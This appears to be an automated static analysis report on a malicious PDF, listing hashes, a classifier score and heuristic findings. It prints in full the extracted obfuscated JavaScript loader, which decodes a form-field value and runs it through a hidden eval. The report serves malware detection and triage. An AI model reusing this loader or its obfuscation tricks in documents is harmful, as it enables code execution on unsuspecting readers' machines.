Malicious PDF — malware analysis report

Static analysis result for SHA-256 23cc8afd99529c56…

MALICIOUS

PDF

43.5 KB Created: 2012-08-03 07:50:33 +04:00 Authoring application: Adobe Acrobat 7.0 (via Adobe Acrobat 7.0 Image Conversion Plug-in) First seen: 2026-05-09
MD5: e9142fdd5c555565d16fe693ebf302d2 SHA-1: 89c0db9183ab83992b18f17461fe447eb81c0a3c SHA-256: 23cc8afd99529c56461b9b6b3c641bec4b137ad0016a4dba8675263f8a08b38d
118 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was flagged as suspicious by a machine learning classifier with a high confidence score. Heuristics indicate the presence of embedded JavaScript, which is often used to download and execute malicious payloads. The extracted artifact 'javascript_obj0106_000.js' is a strong indicator of this malicious intent. No specific family could be identified due to the generic nature of the indicators.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9978

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function jgsdfgergeg(sadsfjkgAD){var jdhjkashfhaui = "0"; return jdhjkashfhaui+sadsfjkgAD;}
function opjifodshguidfs(asd){return String.fromCharCode(asd);}
function uvysaudyfqwufqw(str){return str.replace(/p/g,",");}
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0106_000.js pdf-javascript-stream PDF /JS object 106 at offset 0xAA5D 1451 bytes
SHA-256: 02e264fff57c65df079edde14f6524a7a20b36823b6cf2fdcc1f472564a84888
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function herwerwert(){
function uerhsdgaFSDAGAS(str){var set='';var s='';var ee='';
str = uvysaudyfqwufqw(str);
str = str.split(",");
for(var i=0;i<str.length;i++){  
ee=str[i]/(18/6);
set+=ytyutdyusavdfyusd(ee.toString(64/4));}
return set;}
function iuibuisdobfigwe(hex) {
    var str = '';var zzz=opjifodshguidfs;
    for (var i = 0; i < hex.length; i += 2){
	var sssss = hex.substr(i,2);
       str +=opjifodshguidfs('asdfwefwuiegfyuadsui0x'.substr(20,2)+sssss);
}return str;}
function obuiaosbdfiog(input2) {var asdf =uerhsdgaFSDAGAS(input2) ; var asfdsad = iuibuisdobfigwe(asdf); return asfdsad;}
function jgsdfgergeg(sadsfjkgAD){var jdhjkashfhaui = "0"; return jdhjkashfhaui+sadsfjkgAD;}
function opjifodshguidfs(asd){return String.fromCharCode(asd);}
function uvysaudyfqwufqw(str){return str.replace(/p/g,",");}
function ytyutdyusavdfyusd(eds){var set='';var s=eds;
if (s.length<2)
{set=jgsdfgergeg(s);}
else{set=s;}
return set;}
function wasbyuqewbewui(d,dd){return d+dd;}
var b2=getField("Text1");
var aDFsdfasd=b2.value;
var aDFsdfasd=obuiaosbdfiog(aDFsdfasd);
var ohgioahgopqwpgasdfqwf  = app.alert['constructor'];
var hqgasdfqw="false";var jdhkluyrrtj="true";
var jyethwerewfg="gakljsdhjkashkvhjaksjldadsf";
var ojopdghosasopas=jdhkluyrrtj[(3+3)/2];
ojopdghosasopas+=jyethwerewfg[(14+14)/2];
ojopdghosasopas+=hqgasdfqw[((1+9)/5)-1];
ojopdghosasopas+=hqgasdfqw[(2+10)/6];
ohgioahgopqwpgasdfqwf[ojopdghosasopas](aDFsdfasd);
}
herwerwert();

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